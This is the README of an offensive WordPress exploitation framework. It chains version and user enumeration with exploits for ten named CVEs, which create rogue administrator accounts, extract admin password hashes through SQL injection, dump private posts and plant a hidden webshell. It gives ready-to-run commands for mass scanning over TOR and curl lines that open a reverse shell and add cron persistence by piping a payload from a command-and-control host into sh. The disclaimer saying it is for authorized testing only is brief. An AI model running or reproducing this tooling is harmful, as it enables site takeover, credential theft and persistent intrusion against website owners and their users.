
WordPress All-in-One Exploit Framework — détecteur, scanner, énumérateur, exploit, escalade. 10 CVE de la vague 2026-08, dont CVE-2026-63030 (wp2shell).
Framework d'exploitation WordPress tout-en-un — Détecteur · Scanneur · Énumérateur · Exploitation · Élévation de privilèges
wp2exp_2026 est le successeur rebaptisé et éprouvé au combat du framework wp2shell. Il fusionne la chaîne de vérification/exploitation originale de wp2shell, trois kits PoC publics de la CVE-2026-63030 (Ch4120N, shinthink, SentinelX), et la vague de CVE WordPress d'août 2026 récupérée par scraping depuis NVD / GitHub Advisories / CISA KEV via le pipeline darkweb-intel TOR — dans un seul script qui emmène une cible de l'empreinte passive jusqu'à un webshell vérifié.
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ TESTS AUTORISÉS UNIQUEMENT. Le mode
scanest non destructif. Les modes d'exploitation exigent explicitement--mode. Vous êtes responsable d'avoir l'autorisation écrite pour chaque cible.
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
Aucune clé API, aucune base de données, aucune compilation.
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com
# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell
# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
scan — Détecteur + Scanneur + Énumérateur (sûr)Non destructif. Utilisez-le en premier sur toute cible.
Ce qu'il fait, dans l'ordre :
Exemple :
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
exploit — Scan + ExploitationTout ce que fait scan, plus :
Exemple :
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — Auto-vérification de l'environnementValide l'environnement d'exécution avant tout scan : Python ≥3.8, disponibilité de PySocks (SOCKS5/TOR), accessibilité du proxy (si --proxy est défini), intégrité de la matrice CVE, exactitude de l'analyseur de version.
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — Chaîne complète vers un webshellTout ce que fait exploit, plus l'élévation de privilèges : si la création de l'admin réussit, le script :
wp-login.php (jar de cookies)_wpnonce de l'éditeur de thème + le thème actif → écrit le webshell via admin-ajax.php?action=edit-theme-plugin-fileupdate.php?action=upload-plugin, puis l'activeid via le shell — affiche la sortie en direct de la commandeTypes de webshell (--shell) :
Exemple :
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
Utilisation manuelle du shell après une exécution réussie :
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — route enregistrée sans middleware d'authentification ; le jeton est le base64 brut du chemin relatif (falsifiable). Les versions corrigées utilisent un UploadFileToken signé.reauth_for_authorize correspondait à /mcp/v1/oauth/authorize via un test de sous-chaîne sur REQUEST_URI incluant la chaîne de requête. Ajoutez &x=/mcp/v1/oauth/authorize à toute requête REST pour restaurer l'identité complète de l'utilisateur du cookie. CSRF classique : un admin qui visite l'URL forgée crée un compte attaquant.
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true → les soumissions CF7 n'ont besoin d'aucun nonce ; soumettez un champ fichier contenant ../../../../wp-config.php et l'action d'intégration (webhook/email) exfiltre le fichier.Le script a été construit à partir du renseignement collecté par le pipeline darkweb-intel TOR (scraping des nouvelles CVE de NVD, GitHub Advisories, CISA KEV) et prend en charge le scan anonyme :
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
Comportement vérifié : routage du proxy confirmé contre check.torproject.org/api/ip → {"IsTor":true} via le nœud de sortie 192.42.116.45.
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
Structure du rapport :
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
Validé le 2026-08-04 contre un laboratoire WordPress vulnérable émulé — batterie QA : 32/32 contrôles RÉUSSIS (tous les modes, pureté JSON, multi-cibles, normalisation des hôtes nus, fuite Mapster brouillon/privé, extraction SQLi de la version de la base + hash admin, chaîne de shell complète) :
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit (--sqli-info)--verifydarkweb_intel.pyLes PR sont les bienvenues. Gardez les charges utiles non destructives par défaut.
MIT. Engagements autorisés uniquement. N'exécutez jamais --mode exploit / --mode shell contre des actifs que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test. Les auteurs ne sont pas responsables d'une mauvaise utilisation.
| Argument | Défaut | Description |
|---|
targets | — | Une ou plusieurs URL de base (https://site.com ou site.com nu) |
-f, --file | — | Fichier contenant une cible par ligne (commentaires # autorisés) |
--mode | scan | scan = détection uniquement · exploit = scan + exploitation · shell = scan + exploit + webshell |
--shell | mini | Type de webshell : mini (exécution sur une ligne) ou full (gestion de fichiers / téléchargement / reverse shell / persistance cron) |
--mapster-dump | 0 | Extraire N identifiants de publications via CVE-2026-14839 (0 = désactivé) |
--sqli-info | off | Extraire db_version / siteurl / le hash du mot de passe admin / le préfixe de table via SQLi (CVE-2026-60137) |
--verify | off | Auto-vérification de l'environnement (python, PySocks, accessibilité du proxy, matrice CVE, analyseur de version) puis sortie |
--proxy | — | Proxy HTTP ou SOCKS5 : socks5h://127.0.0.1:9050 (TOR) |
--timeout | 15 | Délai d'attente par requête (secondes) |
--threads | 5 | Cibles en parallèle (utilisé uniquement avec plusieurs cibles / -f) |
--json | — | Afficher un rapport JSON lisible par machine sur stdout |
-o, --output | — | Écrire le rapport JSON complet dans un fichier |
| # | Étape | Contrôles |
|---|
| 1 | Empreinte | Version de WordPress via le générateur /feed/, /readme.html, la balise meta generator, le générateur de l'API REST — signale si la version se situe dans la plage vulnérable de wp2shell (6.9.0–6.9.4, 7.0.0–7.0.1) |
| 2 | Détection WAF | Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 à partir des en-têtes + marqueurs du corps |
| 3 | XMLRPC | Sonde system.listMethods → signale la surface de brute-force multicall et de SSRF pingback |
| 4 | Énumération d'utilisateurs | REST /wp-json/wp/v2/users + repli ?rest_route= + archive d'auteur (?author=N) |
| 5 | Énumération de plugins | Stable tag des readme.txt pour les 8 plugins suivis — signale les versions vulnérables par rapport à la matrice CVE |
| 6 | Sonde wp2shell | Sonde de désynchronisation batch sûre (CVE-2026-63030) — envoie un amorçage malformé + un DELETE bénin vers une catégorie inexistante ; recherche les marqueurs de détournement de gestionnaire (parse_path_failed, block_cannot_read, rest_batch_not_allowed) |
| 7 | Contrôles CVE | Sondes comportementales en direct + contrôles de version pour les 10 CVE (voir le tableau ci-dessous) |
| Exploitation | Condition | Ce qui se passe |
|---|
| Création d'admin sans authentification | wp2shell VULNERABLE | Tentative 1 : la charge utile de confusion de routes batch aboutit à un POST /wp/v2/users avec roles:["administrator"]. Tentative 2 (repli) : chaîne d'empoisonnement du cache oEmbed par SQLi (shinthink) — injecte par union un customize_changeset pour détourner le cache oEmbed + créer un admin. Affiche username / password en cas de succès |
| Extraction d'informations SQLi | --sqli-info | Extraction par erreur/union (CVE-2026-60137) : db_version, siteurl, hash user_pass du premier admin, préfixe de table |
| Extraction de contenu Mapster | --mapster-dump N | Énumère les identifiants de publications 1..N via /wp-json/mapster-wp-maps/feature?id=N, collectant les titres + le contenu complet des publications brouillon / en attente / privées / mises à la corbeille (CVE-2026-14839) |
| Type | Fonctionnalités |
|---|
mini | ?k=KEY&c=COMMAND → sortie de commande en texte brut |
full | exécution a=cmd · écriture de fichier a=upload (b64) · lecture de fichier a=download · reverse shell a=rev (h=HOST&p=PORT) · persistance crontab a=persist (u=URL) · phpinfo() par défaut |
| CVE | Cible | CVSS | Classe | Détection | Exploitation |
|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | Confusion de routes batch REST → RCE | ✅ sonde de marqueurs de désynchronisation | ✅ création d'admin + shell |
| CVE-2026-60137 | WP Core (même plage) | 5.9 | SQLi author__not_in | ✅ version + marqueur | ✅ via la chaîne 63030 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | Suppression arbitraire de fichier non authentifiée | ✅ sonde DELETE en direct | ✅ file_token b64 falsifiable |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | SQLi non authentifiée (recherche de liste) | ✅ sonde de fuite d'erreurs | ⚠️ manuel (aveugle) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | Élévation de privilèges _wps_plan_user_role | ✅ version | ✅ documentation de chaîne |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → création d'admin | ✅ sonde d'espace de noms | ✅ générateur d'URL PoC |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | Suppression arbitraire de fichier authentifiée | ✅ version | ✅ documentation de chaîne |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | Traversal non authentifié (contournement de nonce CF7) | ✅ version | ✅ documentation de chaîne |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | Extraction non authentifiée de publications privées/brouillons | ✅ sonde en direct | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | XSS stocké non authentifié | ✅ version | ✅ documentation de chaîne |
insert_record() stocke un location de fichier influencé par l'attaquant, puis delete_file() appelle unlink($file) sans validation realpath()/liste blanche.save_meta_boxes() persiste _wps_plan_user_role depuis $_POST ; seuls sanitize_key() + is_role() sont appliqués — les deux acceptent administrator.